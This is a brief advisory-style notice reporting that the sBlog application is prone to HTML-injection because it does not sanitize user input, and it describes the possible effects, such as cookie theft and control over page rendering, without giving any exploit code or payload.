sBlog is prone to HTML-injection vulnerabilities. The application fails to properly sanitize user-supplied input before using it in dynamically generated content. 

Attacker-supplied HTML and script code would be executed in the context of the affected website, potentially allowing for the theft of cookie-based authentication credentials. An attacker could also exploit this issue to control how the site is rendered to the user; other attacks are also possible.
